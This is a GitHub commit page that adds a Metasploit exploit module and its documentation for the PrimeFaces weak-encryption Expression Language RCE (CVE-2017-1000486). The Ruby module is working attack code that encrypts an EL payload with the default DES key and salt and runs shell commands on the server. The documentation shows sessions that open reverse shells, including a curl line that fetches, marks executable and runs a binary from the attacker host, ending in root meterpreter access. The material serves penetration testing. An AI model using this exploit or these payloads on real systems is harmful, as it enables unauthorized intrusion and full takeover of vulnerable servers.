Skip to content

Commit 0e5cf3f

Browse files
authored
Land rapid7#19649, Primefaces RCE (CVE-2017-1000486)
2 parents 6cfc18a + 2357c8a commit 0e5cf3f

File tree

2 files changed

+246
-0
lines changed

2 files changed

+246
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
3+
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
4+
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
5+
due to the use of weak crypto and default encryption password and salt.
6+
7+
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image:
8+
9+
* `payload/cmd/unix/reverse_jjs`
10+
* `payload/cmd/unix/reverse_openssl`
11+
* `payload/cmd/unix/reverse_perl`
12+
* `payload/cmd/unix/reverse_python`
13+
* `payload/cmd/unix/reverse_python_ssl`
14+
15+
### Docker Image
16+
17+
1. `git clone https://github.com/pimps/CVE-2017-1000486`
18+
2. `cd CVE-2017-1000486/`
19+
3. `docker build . -t primefaces`
20+
4. `docker run -p 8090:8080 -t primefaces`
21+
22+
## Verification Steps
23+
24+
1. Install the application
25+
1. Start msfconsole
26+
1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce`
27+
1. Do: `set rhosts <ip>`
28+
1. Do: `set verbose true`
29+
1. Do: `set payload payload/cmd/unix/reverse_jjs`
30+
1. You should get a shell.
31+
32+
## Options
33+
34+
### PASSWORD
35+
36+
The password to login. Defaults to `primefaces`
37+
38+
## Scenarios
39+
40+
### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application
41+
42+
CMD payload
43+
44+
```
45+
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
46+
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
47+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
48+
rhosts => 127.0.0.1
49+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
50+
rport => 8090
51+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
52+
verbose => true
53+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs
54+
payload => cmd/unix/reverse_jjs
55+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
56+
57+
[*] Started reverse TCP handler on 1.1.1.1:4444
58+
[*] Running automatic check ("set AutoCheck false" to disable)
59+
[+] The target is vulnerable. Victim evaluates Expression Language expressions
60+
[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh
61+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500
62+
63+
whoami
64+
root
65+
```
66+
67+
fetch payload
68+
69+
```
70+
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
71+
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
72+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
73+
rhosts => 127.0.0.1
74+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
75+
rport => 8090
76+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
77+
verbose => true
78+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
79+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
80+
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
81+
82+
[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
83+
[*] Fetch handler listening on 1.1.1.1:8080
84+
[*] HTTP server started
85+
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
86+
[*] Started reverse TCP handler on 1.1.1.1:4444
87+
[*] Running automatic check ("set AutoCheck false" to disable)
88+
[+] The target is vulnerable. Victim evaluates Expression Language expressions
89+
[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
90+
[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA
91+
[*] Sending payload to 172.17.0.2 (curl/7.64.0)
92+
[*] Transmitting intermediate stager...(126 bytes)
93+
[*] Sending stage (3045380 bytes) to 172.17.0.2
94+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500
95+
96+
meterpreter > sysinfo
97+
Computer : 172.17.0.2
98+
OS : Debian 10.10 (Linux 6.11.2-amd64)
99+
Architecture : x64
100+
BuildTuple : x86_64-linux-musl
101+
Meterpreter : x64/linux
102+
meterpreter > getuid
103+
Server username: root
104+
```
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Primefaces Remote Code Execution Exploit',
17+
'Description' => %q{
18+
This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
19+
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
20+
due to the use of weak crypto and default encryption password and salt.
21+
22+
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
23+
documentation for working payloads.
24+
},
25+
'Author' => [
26+
'Bjoern Schuette', # EDB
27+
'h00die' # lots of fixes, documentation, standardization
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' => [
31+
['CVE', '2017-1000486'],
32+
['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
33+
['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
34+
['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
35+
['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
36+
['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
37+
['EDB', '43733']
38+
],
39+
'Payload' => {
40+
'BadChars' => '"\'\\' # all threw errors
41+
},
42+
'Privileged' => true,
43+
'DisclosureDate' => '2016-02-15',
44+
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
45+
'Arch' => ARCH_CMD,
46+
'Targets' => [
47+
[
48+
'Universal', {},
49+
],
50+
],
51+
'DefaultTarget' => 0,
52+
'Notes' => {
53+
'Stability' => [CRASH_SAFE],
54+
'Reliability' => [REPEATABLE_SESSION],
55+
'SideEffects' => []
56+
}
57+
)
58+
)
59+
60+
register_options([
61+
Opt::RPORT(80),
62+
OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
63+
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
64+
])
65+
end
66+
67+
def encrypt_el(password, payload)
68+
# el == Java Expression Language
69+
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
70+
iteration_count = 19
71+
72+
cipher = OpenSSL::Cipher.new('DES')
73+
cipher.encrypt
74+
cipher.pkcs5_keyivgen password, salt, iteration_count
75+
76+
ciphertext = cipher.update payload
77+
ciphertext << cipher.final
78+
ciphertext
79+
end
80+
81+
def http_send_command(payload_wrapper)
82+
encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
83+
encrypted_payload = Rex::Text.encode_base64(encrypted_payload)
84+
85+
# send the payload and execute command
86+
res = send_request_cgi({
87+
'method' => 'POST',
88+
'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
89+
'vars_post' => {
90+
'pfdrt' => 'sc',
91+
'ln' => 'primefaces',
92+
'pfdrid' => encrypted_payload
93+
}
94+
})
95+
96+
res
97+
end
98+
99+
def exploit
100+
cmd = payload.encoded
101+
102+
# good for testing
103+
# cmd = "whoami"
104+
# error logs will show
105+
# Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
106+
# SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
107+
payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
108+
payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
109+
payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
110+
payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
111+
payload_wrapper << '${session.getAttribute("scriptengine").eval('
112+
payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
113+
payload_wrapper << 'var proc = null;'
114+
payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
115+
payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
116+
payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
117+
payload_wrapper << 'var is = proc.getInputStream();'
118+
payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
119+
payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
120+
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
121+
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'
122+
123+
vprint_status("Attempting to execute: #{cmd}")
124+
res = http_send_command(payload_wrapper)
125+
fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
126+
# successful exploitation gives us no response
127+
end
128+
129+
def check
130+
marker = rand_text_alpha_lower(5..9)
131+
# https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
132+
# payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
133+
payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"
134+
135+
res = http_send_command(payload_wrapper)
136+
return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
137+
return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker
138+
139+
Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
140+
end
141+
142+
end

0 commit comments

Comments
 (0)